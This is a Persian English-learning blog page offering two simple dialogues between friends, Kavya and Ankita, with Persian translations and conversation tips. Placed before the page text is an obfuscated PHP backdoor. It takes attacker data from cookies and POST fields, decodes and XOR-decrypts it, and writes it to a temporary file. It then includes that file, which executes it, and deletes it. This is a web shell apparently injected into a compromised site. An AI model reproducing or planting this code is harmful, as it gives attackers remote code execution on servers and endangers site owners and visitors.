$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();} متن مکالمه انگلیسی بین دو دوست - متن مکالمه انگلیسی با ترجمه فارسی | وبلاگ اتیچر
skip to Main Content

متن مکالمه انگلیسی بین دو دوست

متن مکالمه انگلیسی بین دو دوست
زمان مطالعه: ۵ دقیقه

معمولا بیشتر ما که دیرتر به سراغ آموزش زبان رفته‌ایم و یا مثلا همین انگلیسی را کتابی یاد گرفته‌ایم، کمتر فرصت بودن در محیط انگلیسی زبان را داشته‌ایم و در مکالمه ضعف بیشتری احساس می‌کنیم. مکالمه از چهار مهارت مورد نیاز برای آزمون‌هاست که معمولا توصیه می‌شود تا زمانی را برای گفت‌وگوی انگلیسی با دوستان خود یا یک انگلیسی زبان اختصاص دهیم و یا با خواندن مرتب چند متن مکالمه انگلیسی بین دو دوست، به تقویت آن بپردازیم. معمولا متن مکالمه انگلیسی بین دو دوست بهترین چیزی است که شما را با اصطلاحات روزمره و عامیانه‌ی انگلیسی آشنا می‌کند. نمایشنامه‌ها و آثار داستانی سرشار از متن مکالمه انگلیسی بین دو دوست یا بین افرادی با نسبت‌های گوناگون هستند.
ما برای شروع و سطح ابتدایی تلاش کرده‌ایم دو متن مکالمه انگلیسی با ترجمه فارسی را در دو موضوع معمول انتخاب کنیم تا شما با قواعد اولیه‌ی مکالمه و چگونگی آن آشنا شوید. متن مکالمه انگلیسی بین دو دوست می‌تواند یک صحبت کلی یا خاص باشد. آن‌ها می‌توانند در مورد هر موضوع مرتبط با زندگی روزمره گفت‌وگو کنند و این مسئله به موقعیت‌های متفاوت بستگی دارد. بسیاری از افراد در مورد شغل و درآمد خود یا فعالیت‌های روزانه و دانش‌آموزان هم راجع به مدرسه و تعطیلات تابستانی و این مسائل معمول صحبت می‌کنند و خلاصه موضوعات روزمره‌ی مربوط به مکالمات بین افراد در اکثر فرهنگ‌ها و زبان‌ها یکسان است، اما شکل‌گیری یک مکالمه مهم است که ما با آوردن دو متن مکالمه انگلیسی بین دو دوست، چگونگی آن را در این زبان نشان می‌دهیم.

نمونه متن مکالمه انگلیسی بین دو دوست
نمونه متن مکالمه انگلیسی بین دو دوست که بعد از مدتی طولانی یکدیگر را ملاقات کرده‌اند

۱: Hello Kavya, How are you? It’s been a long time we have met.
۲: Oh Hi Ankita, I am doing good. What about you?
۱: I am fine too. So where are you working right now?
۲: I am working at the Bosch Company.
۱: Oh, really. That’s a great company. What is your post there?
۲: I am working as a Software Engineer.
۱: That’s really nice to hear.
۲: Thanks Ankita! So what are you up to nowadays?
۱: I am a travel blogger. I used to travel to different places and explore different cultures and varieties of food to write it in my blog. I would like to ask you also to follow my blog.
۲: Sure Ankita. I will certainly follow it. You are doing a great job by letting people know about different parts of the world.
۱: Thanks Kavya!
۲: Hey, why don’t you join me and my family for tomorrow’s lunch. They will also be happy to see you.
۱: Actually, that’s a great idea. I would love to meet them.
۲: So it’s decided. You will come to our place tomorrow at 1 PM. Will see you then.
۱: Ok Kavya. See you tomorrow then.

۱: سلام کاویا، حالت چطوره؟ خیلی وقت شده که هم را ندیده‌ایم.
۲: سلام آنکیتا! من روبه‌راهم؛ تو چطوری؟
۱: من هم خوبم. خب الان کجا مشغول کاری؟
۲: در شرکت بوش کار می‌کنم.
۱: اِ واقعا؟ شرکت بزرگیه. مسئولیت تو در اونجا چیه؟
۲: من به عنوان مهندس نرم‌افزار کار می‌کنم.
۱: خیلی خوبه که این رو می‌شنوم.
۲: ممنونم آنکیتا! تو این روزها چه کاری می‌کنی؟
۱: من وبلاگ‌نویس سفر هستم. کارم این بود که به جاهای مختلف سفر کنم و در مورد فرهنگ‌ها و مواد غذایی متفاوت تحقیق کنم تا آن‌ها را توی وبلاگم بنویسم. از تو هم می‌خواهم که وبلاگم را دنبال کنی.
۲: حتما آنکیتا. قطعا آن را دنبال خواهم کرد. تو کار بزرگی می‌کنی که اجازه می‌دهی مردم با نقاط مختلف دنیا آشنا شوند.
۱: ممنونم کاویا.
۲: ببین! چرا برای ناهار نمی‌یای پیش من و خانواده‌ام؟ آن‌ها هم از دیدنت خوشحال خواهند شد.
۱: راستش ایده‌ی خوبیه. من هم خیلی دوست دارم که آن‌ها را ببینم.
۲: خب پس تصمیم گرفته شد. تو ساعت ۱ به خانه‌ی ما می‌آیی. آن موقع می‌بینمت.
۱: حتما کاویا. پس، فردا می‌بینمت.

متن مکالمه انگلیسی با ترجمه فارسی

متن مکالمه انگلیسی بین دو دوست درباره‌ مسائل تحصیلی

۱: Hey Ankita, how are your studies going on?
۲: Hello Kavya, it’s going pretty well. But I am facing little difficulties in solving some Maths problems.
۱: Oh really. May I know which problems they are? Maybe I could help you with this.
۲: Sure Kavya. It is related to the trigonometry topic.
۱: Well, fortunately, I really like that topic. I think we can study together with the whole concept mentioned as per syllabus. You may come to my house after school to study. I can even give you some tips to remember the formulas based on this topic.
۲: That’s a great idea Kavya. We can study together to clear each other doubts. Also, our parents will not be having any issues with this. So, let’s start it from tomorrow.
۱: Ok Ankita.

۱: سلام آنکیتا. درس‌هایت چطور پیش می‌روند؟
۲: سلام کاویا. خیلی خوب پیش می‌روند. اما حقیقتش در حل بعضی مسائل ریاضی با مشکل مواجهم.
۱: آه واقعا؟ می‌توانم بدانم آن‌ها چه مشکلاتی هستند؟
۲: حتما کاویا. مربوط به درس مثلثات است.
۱: خب خوشبختانه اون درس مورد علاقه‌ی من هست. فکر می‌کنم بتوانیم تمام چیزی را که در برنامه‌ی درسی آمده با هم بخوانیم. می‌توانی بعد مدرسه برای درس خواندن به خانه‌ی من بیایی. حتی می‌توانم نکاتی را برای به‌خاطرسپاری فرمول‌های این درس یادت بدهم.
۲: این خیلی فکر خوبیه کاویا. ما می‌توانیم برای برطرف‌کردن ضعف‌های یکدیگر با هم مطالعه کنیم. همچنین والدین ما هم مشکلی نخواهند داشت. پس بیا از فردا شروع کنیم.
۱: حله آنکیتا.

چگونه یک مکالمه‌ با دوست را در انگلیسی آغاز کنیم و آن را جالب نگه داریم؟

ابتدا به آن شخص سلام کنید. سپس احوالپرسی کنید و خوب‌بودن حالش را جویا شوید. سپس بحث را در مورد موضوع مد نظر آغاز کنید. برای ادامه دادن گفت‌وگو مطالبی را برای صحبت در موضوعات مورد علاقه‌ی خود پیدا کنید و سوالاتی با پایان باز بپرسید. راه دیگر برای این که مکالمه ادامه پیدا کند این است که اجازه دهید طرف دیگر صحبت کند. اجازه ندهید طرف مقابل به سکوت پایان دهد و همیشه شنونده‌ی خوبی باشید.
انواع مکالمه‌ دو دوست به زبان انگلیسی

اما برای تقویت مهارت مکالمه غیر از خواندن چند متن مکالمه انگلیسی بین دو دوست، بهترین راه حضور در کلاس و ارتباط داشتن با استادی است که شما انتخاب می‌کنید، در پلتفرم اتیچر بر اساس مدارک استاد، امتیاز شاگردان سابقش به او، تعداد کلاس‌های برگزارشده‌اش و کامنت‌ها می‌توانید استاد محبوب خود را انتخاب کنید.

همچنین اگر بازهم دوست دارید در مکالمه قوی‌تر شوید، می‌توانید  مقاله مکالمه تلفنی انگلیسی را هم بخوانید.

منبع

۴.۵/۵ - (۶۱ امتیاز)

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search